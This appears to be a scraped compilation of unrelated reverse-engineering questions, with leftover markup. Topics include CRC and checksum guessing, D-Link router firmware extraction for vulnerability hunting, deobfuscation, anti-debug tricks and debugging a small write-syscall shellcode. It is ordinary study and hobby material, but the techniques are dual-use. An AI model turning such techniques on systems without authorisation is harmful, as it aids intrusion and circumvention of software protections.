Body:
I have not had success with reveng on figuring out how to calculate these CRCs.
I successfully figured out another similar CRC from the same author so I'm pretty sure that the first four bytes as shown are not part of the CRC calculation.
The algorithm may be non standard. I have access to a lot of but here is a sample.</p>

```<code>n/a             calculate CRC16 from these                  CRC16       n/a
----------------------------------------------------------------------------
68 0D 0D 68     73 01 03 09 01 02 04 00 00 41 41 41 41      78 38       16
68 07 07 68     7A 01 0E 03 02 00 00                        C9 78       16
68 07 07 68     7A 01 0E 03 03 00 7D                        B6 78       16
68 0B 0B 68     7A 01 26 07 04 01 01 00 00 00 F0            E1 AD       16
68 0B 0B 68     7A 01 26 07 05 15 01 00 00 00 F0            E9 0D       16
68 07 07 68     7A 01 30 03 06 02 94                        AD 7C       16
68 07 07 68     7A 01 30 03 07 00 EA                        D1 78       16
68 07 07 68     7A 01 30 03 08 00 F6                        D3 78       16
68 07 07 68     7A 01 30 03 09 00 CB                        EC 78       16
68 07 07 68     7A 01 30 03 0A 00 CA                        EB 78       16
68 07 07 68     7A 01 09 03 0B 00 00                        C7 78       16
68 07 07 68     7A 01 05 03 0C 00 00                        F9 78       16
68 07 07 68     7A 01 05 03 0D 00 13                        E8 78       16
68 07 07 68     7A 01 05 03 0E 00 26                        DB 78       16
68 07 07 68     7A 01 05 03 0F 00 39                        C6 78       16
68 07 07 68     7A 01 05 03 10 00 4C                        8D 78       16
68 07 07 68     7A 01 05 03 11 00 5F                        9C 78       16
68 07 07 68     7A 01 05 03 12 00 72                        B7 78       16
68 07 07 68     7A 01 05 03 13 00 85                        42 78       16
68 07 07 68     7A 01 05 03 14 00 98                        51 78       16
68 07 07 68     7A 01 05 03 15 00 AB                        60 78       16
68 07 07 68     7A 01 05 03 16 00 BE                        73 78       16
68 07 07 68     7A 01 05 03 17 00 D1                        1E 78       16
68 07 07 68     7A 01 05 03 18 00 E4                        35 78       16
68 07 07 68     7A 01 05 03 19 00 F7                        24 78       16
68 07 07 68     7A 01 05 03 1A 01 0A                        DF 7A       16
68 07 07 68     7A 01 05 03 1B 01 1D                        CA 7A       16
68 07 07 68     7A 01 05 03 1C 01 30                        E9 7A       16
68 07 07 68     7A 01 05 03 1D 01 43                        98 7A       16
68 07 07 68     7A 01 05 03 1E 01 56                        8B 7A       16
68 07 07 68     7A 01 05 03 1F 01 69                        B6 7A       16
68 07 07 68     7A 01 05 03 20 01 7C                        DD 7A       16
68 07 07 68     7A 01 05 03 21 01 8F                        2C 7A       16
68 07 07 68     7A 01 05 03 22 01 A2                        07 7A       16
68 07 07 68     7A 01 05 03 23 01 B5                        12 7A       16
68 07 07 68     7A 01 05 03 24 01 C8                        61 7A       16
68 07 07 68     7A 01 05 03 25 01 DB                        70 7A       16
68 07 07 68     7A 01 05 03 26 01 EE                        43 7A       16
68 07 07 68     7A 01 05 03 27 02 01                        AE 7C       16
68 07 07 68     7A 01 05 03 28 02 14                        A5 7C       16
68 07 07 68     7A 01 05 03 29 02 27                        94 7C       16
68 07 07 68     7A 01 05 03 2A 02 3A                        8F 7C       16
68 07 07 68     7A 01 05 03 2B 02 4D                        FA 7C       16
68 07 07 68     7A 01 05 03 2C 02 60                        D9 7C       16
68 07 07 68     7A 01 05 03 2D 02 73                        C8 7C       16
68 07 07 68     7A 01 05 03 2E 02 86                        3B 7C       16
68 07 07 68     7A 01 05 03 2F 02 99                        26 7C       16
68 07 07 68     7A 01 05 03 30 02 AC                        2D 7C       16
68 07 07 68     7A 01 05 03 31 02 BF                        3C 7C       16
68 07 07 68     7A 01 05 03 32 02 D2                        57 7C       16

EDIT

Here are two groups only incremented by one bit, this was as many as I could
gather.

73 01 03 09 01 02 04 00 00 31 32 33 34      EA 1C
73 01 03 09 02 02 04 00 00 31 32 33 34      DA 1C
73 01 03 09 04 02 04 00 00 31 32 33 34      BA 1C
73 01 03 09 08 02 04 00 00 31 32 33 34      7A 1C
73 01 03 09 10 02 04 00 00 31 32 33 34      7A 19
73 01 03 09 20 02 04 00 00 31 32 33 34      7A 13
73 01 03 09 40 02 04 00 00 31 32 33 34      7A 07
73 01 03 09 80 02 04 00 00 31 32 33 34      7A 2F

08 01 83 07 01 00 00 00 40 00 00            2D BE
08 01 83 07 02 00 00 00 40 00 00            35 BE
08 01 83 07 04 00 00 00 40 00 00            05 BE
08 01 83 07 08 00 00 00 40 00 00            65 BE
08 01 83 07 10 00 00 00 40 00 00            A5 BE
08 01 83 07 20 00 00 00 40 00 00            A5 BB
08 01 83 07 40 00 00 00 40 00 00            A5 B1
08 01 83 07 80 00 00 00 40 00 00            A5 A5
</code>```


问:
Attempting to RE DI-8002W Dlink Firmware. Cannot find file system
I'm attempting to reverse engineer the DI-8002W firmware from Dlink in order to search for vulnerabilities within the router. I'm at the point where I've recovered the Linux Image, but I cannot recover the file system itself at the moment. I'll walk through what I've done so far.

Firmware can be found here - http://support.dlink.com.cn/ProductInfo.aspx?m=DI-8002W (Second Option)

Extracting uImage

Unzipping the download shows us DI_8002W-16.07.26A1.trx. This appears to be invalid from a strictly "trx" format, but rather has some Dlink specific information in the first 76 bytes such as VER216.07.26, etc. I strip this off with DD to get the uBoot image from the trx file.

```<code>binwalk DI_8002W-16.07.26A1.trx

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
76            0x4C            uImage header, header size: 64 bytes, header CRC: 0x6850C842, created: 2016-08-03 22:52:13, image size: 5612788 bytes, Data Address: 0x80000000, Entry Point: 0x8000C2F0, data CRC: 0xBE8E9338, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
140           0x8C            LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 8550244 bytes
</code>```

dd if=DI_8002W-16.07.26A1.trx of=clean.trx bs=1 skip=76

uImage

At this point it appears that I have a valid uImage file, comprising of a linux kernel image and lzma compressed data.

```<code>mkimage -l clean.trx
Image Name:   Linux Kernel Image
Created:      Thu Aug  4 08:52:13 2016
Image Type:   MIPS Linux Kernel Image (lzma compressed)
Data Size:    5612788 Bytes = 5481.24 kB = 5.35 MB
Load Address: 80000000
Entry Point:  8000c2f0
</code>```

file clean.trx: u-boot legacy uImage, Linux Kernel Image, Linux/MIPS, OS Kernel Image (lzma), 5612788 bytes, Wed Aug  3 22:52:13 2016, Load Address: 0x80000000, Entry Point: 0x8000C2F0, Header CRC: 0x6850C842, Data CRC: 0xBE8E9338

I presume the files / file system is located in the lzma data, so once again I extract this out, removing the header from the file.

dd if=clean.trx of=uboot.lzma skip=64 bs=1

LZMA data

file confirms we have valid LZMA data (at least according to the magic bytes).

file uboot.lzma: LZMA compressed data, non-streamed, size 8550244

I decompress the file with unlzma uboot.lzma and get the following file. This is about as much diagnostic information that I know how to provide.

```<code>file uboot: data

mkimage -l uboot
Image Type:   MVEBU Boot from (null) Image
Image version:0
Data Size:    -4 Bytes = 4194304.00 kB = 4096.00 MB
Load Address: 00000000
Entry Point:  00000000

binwalk uboot

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
3399752       0x33E048        Linux kernel version "2.6.36+ (root@jhl-ubuntu) (gcc version 3.4.2) #2035 Wed Aug 3 18:52:00 EDT 2016"
3587968       0x36BF80        CRC32 polynomial table, little endian
3608048       0x370DF0        Base64 standard index table
3900536       0x3B8478        xz compressed data
3959784       0x3C6BE8        HTML document header
3959845       0x3C6C25        HTML document footer
3962060       0x3C74CC        HTML document header
3962252       0x3C758C        HTML document footer
3962416       0x3C7630        HTML document header
3962785       0x3C77A1        HTML document footer
3986999       0x3CD637        Neighborly text, "neighbor %.2x%.2x.%pM lostde"
</code>```

I'm looking to transition from this point to discovering / analysing the file system to look for vulnerabilities. Attempting to perform binwalk extraction (i.e binwalk -eM *) is leading to what appears to be a recursing result of the same files being extracted over and over. In other words, an extraction folder with three files are created. Going into this folder and performing binwalk -eM on any of these files will extract exactly the same three files once more.

I'm lost on how we can transition from this point to recovering the file system.

Any thoughts or areas you can suggest I could read up would be greatly appreciated.


问:
x64dbg flow-indent style trace logs
I have recently been using x64dbg a lot. I am coming from using tools like dtrace and frida-trace on macOS. Is there any way to get flow-indent style trace logs in x64dbg? Or would you recommend a different tool?</p>

Title: x64dbg flow-indent style trace logs


问:
Is there any way to access assembly-csharp from installed apk? (unity game, gamedata)
I'm playing a Japanese Unity game on my phone. I've translated everything that exist in the apk to English but the game downloads new content once you run the apk for the first time. Is there any way to access/extract the assembly-csharp from the data the game install on the phone? It's hidden within all the "12371asdhasudhdasd.dat" files. I can extract everything withing those files but the assembly file is a no go, just says it can't be found. It's no problem getting the file from the apk but since the game download new data once I run the installed app, it's gone.

I know people don't like it when you reverse the code and I'm sorry for asking, it's just that I like this game and they won't release an English version of it. I'm only doing this for my own purpose, not to release a mod or anything.

If I'm breaking any rules by asking this, you could just answer yes or no on the question and I'll keep digging if it's a yes.


问:
Capstone in reverse mode
I am using capstone in python in order to dissassemble binary instructions.

Is there a way to work in the reverse mode ? I mean typing some asm instructions and ask capstone (in python) to generate binary  (I mean raw binary, whithout ELF or PE)

Title: Capstone in reverse mode


问:
How do I reverse this firmware? 8-bit handheld console

I recently bought this chinese console that supposedly has 328 8-bit games. I want to understand the code and how it works to hack it and maybe load other ROMs. It has a chip covered in black epoxy resin that may be the microcontroller, and right next to it there's a flash memory, specifically the Winbond branded W25Q64 64Mbit (8 Mbyte) memory. Since I have an EEPROM/Flash reader I extracted the data from it. This is the complete .bin file: https://www.4shared.com/s/fYlAk9898gm

I dont know what kind of processing I need to do to make readable-like code. The binary contains recognizable data like the index of the games, but is not much more


问:
Can de4dot deobfuscate Dotfuscator Professional?
I ran de4dot on a Xamarin app obfuscated using Dotfuscator Professional. However, there's still the random switches and strange ints everywhere. Can de4dot decode this? If not, is there another tool that can?
I've opened it with dotPeek and dnSpy as well to the same result.

Here's an example. Most of the logic I need is in chains of these tasks. O6.K does not even exist.


问:
Instruction counting anti-debug
I recently came across this anti-debug technique being used in the wild.

In The Ultimate Anti-Debugging Reference, the author wrote in the "Instruction Counting" section

A debugger will interfere with the
  single-stepping, resulting in a different count of
  instructions compared to when a debugger is not
  present.

From experimenting with this technique a bit, it seems that when you set a hardware breakpoint in x64dbg, the debug registers of all threads are not only set, but also frozen - so that for example - if the program calls SetThreadContext to change these registers, x64dbg seems to change them back.

Given how x64dbg works, and that the technique relies on these debug registers, isn't this technique limited to detecting the presence or modification of hardware breakpoints?

Title: Instruction counting anti-debug


Title: Guessing checksum 8 bit ASCII algorithm

Body:
I am trying to reverse engineer an 8-bit checksum algorithm of a Chinese machine with RS485 communication and ASCII encoding.
I tried with all the algorithm I could find, but it seems that data packets don't have a standard structure.

Example 1:

```<code>!13.2210101.3<
</code>```

The frame included  and all frame characters seem to be from ";" to "Z".

Example 2:

```<code>!14.0000000.0A
!13.0000000.0@
</code>```

I guess that the checksum will be linear because (4-3) = (A-@).

Another Frame:

```<code>!13.0450000.0L
!13.3280102.5>
!13.6190106.7G
!131.390104.8I
!131.670101.4C
!131.960101.1B
!132.150100.4=
!132.150100.4=
!13.0680100.4<
!13.3540090.5M
!13.6340090.7P
!13.9230089.7X
!131.200089.8T
!131.690089.1R
!131.970088.2R
!132.260088.0I
!132.540087.3L
!132.740087.3O
!132.740087.3O
!13.0590087.3I
!13.3310094.2H
!13.6280093.3H
!13.9080093.7M
</code>```

I really want to go build a neutral network for solving this problem. Somebody help me please.

Edit

Some raw data when I changed the address from 1 to 0:

```<code>!03.0000000.0?
!03.1970100.3D
!03.1990113.5L
!03.2010108.9D
!03.1980099.1T
!04.0000000.0@
!04.0040168.1D
!04.0050149.9L
!04.0040173.3B
!04.0050167.7J
</code>```


问:
random address in call instruction
I am trying to use write system call shellcode in assembly but when i run it i am getting a segmentation fault. I did debug it and its because of the call instruction which is having a random address in instruction.

```<code>jamesbond008@jamesbond008-VirtualBox:~/Desktop/buffer-overflow-exploit-detect-prevent$ gdb -q ./test_write
Reading symbols from ./test_write...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/jamesbond008/Desktop/buffer-overflow-exploit-detect-prevent/test_write

Program received signal SIGSEGV, Segmentation fault.
0x6d4ca060 in ?? ()
(gdb) disass main
Dump of assembler code for function main:
   0x080483db <+0>: lea    ecx,[esp+0x4]
   0x080483df <+4>: and    esp,0xfffffff0
   0x080483e2 <+7>: push   DWORD PTR [ecx-0x4]
   0x080483e5 <+10>:    push   ebp
   0x080483e6 <+11>:    mov    ebp,esp
   0x080483e8 <+13>:    push   ecx
   0x080483e9 <+14>:    sub    esp,0x14
   0x080483ec <+17>:    mov    DWORD PTR [ebp-0xc],0x804a040
   0x080483f3 <+24>:    mov    eax,DWORD PTR [ebp-0xc]
   0x080483f6 <+27>:    call   eax
   0x080483f8 <+29>:    mov    eax,0x0
   0x080483fd <+34>:    add    esp,0x14
   0x08048400 <+37>:    pop    ecx
   0x08048401 <+38>:    pop    ebp
   0x08048402 <+39>:    lea    esp,[ecx-0x4]
   0x08048405 <+42>:    ret
End of assembler dump.
(gdb) x/25i $eax
   0x8040000:   Cannot access memory at address 0x8040000
(gdb) x/25i 0x804a040
   0x804a040 <shellcode>:   xor    ax,ax
   0x804a043 <shellcode+3>: xor    bx,bx
   0x804a046 <shellcode+6>: xor    cx,cx
   0x804a049 <shellcode+9>: xor    dx,dx
   0x804a04c <shellcode+12>:    jmp    0x804a04e <shellcode+14>
   0x804a04e <shellcode+14>:    call   0x6d4ca060     #random address  should be 0x804a060
   0x804a053 <shellcode+19>:    ins    BYTE PTR es:[edi],dx
   0x804a054 <shellcode+20>:    ins    BYTE PTR es:[edi],dx
   0x804a055 <shellcode+21>:    outs   dx,DWORD PTR ds:[esi]
   0x804a056 <shellcode+22>:    sub    al,0x20
   0x804a058 <shellcode+24>:    ja     0x804a0c9
   0x804a05a <shellcode+26>:    jb     0x804a0c8
   0x804a05c <shellcode+28>:    and    DWORD PTR fs:[esi+0x59],esp
   0x804a060 <shellcode+32>:    mov    bl,0x1
   0x804a062 <shellcode+34>:    mov    dl,0xd
   0x804a064 <shellcode+36>:    mov    al,0x4
   0x804a066 <shellcode+38>:    int    0x80
   0x804a068 <shellcode+40>:    dec    bl
   0x804a06a <shellcode+42>:    mov    al,0x1
   0x804a06c <shellcode+44>:    int    0x80
   0x804a06e <shellcode+46>:    add    BYTE PTR [eax],al
</code>```

How can i get the right address in call?

Title: random address in call instruction


问:
Reversing Arduino mega bytecode
I have an hex dump of the 256k of my arduino mega's flash memory.

I do not understand where is the bootloader. I see at 0x0000 address an interupt vector for reset but i do not understand how the bootloaders jumps to the main program.

Is there a way to identity setup() and loop() functions addresses?

Title: Reversing Arduino mega bytecode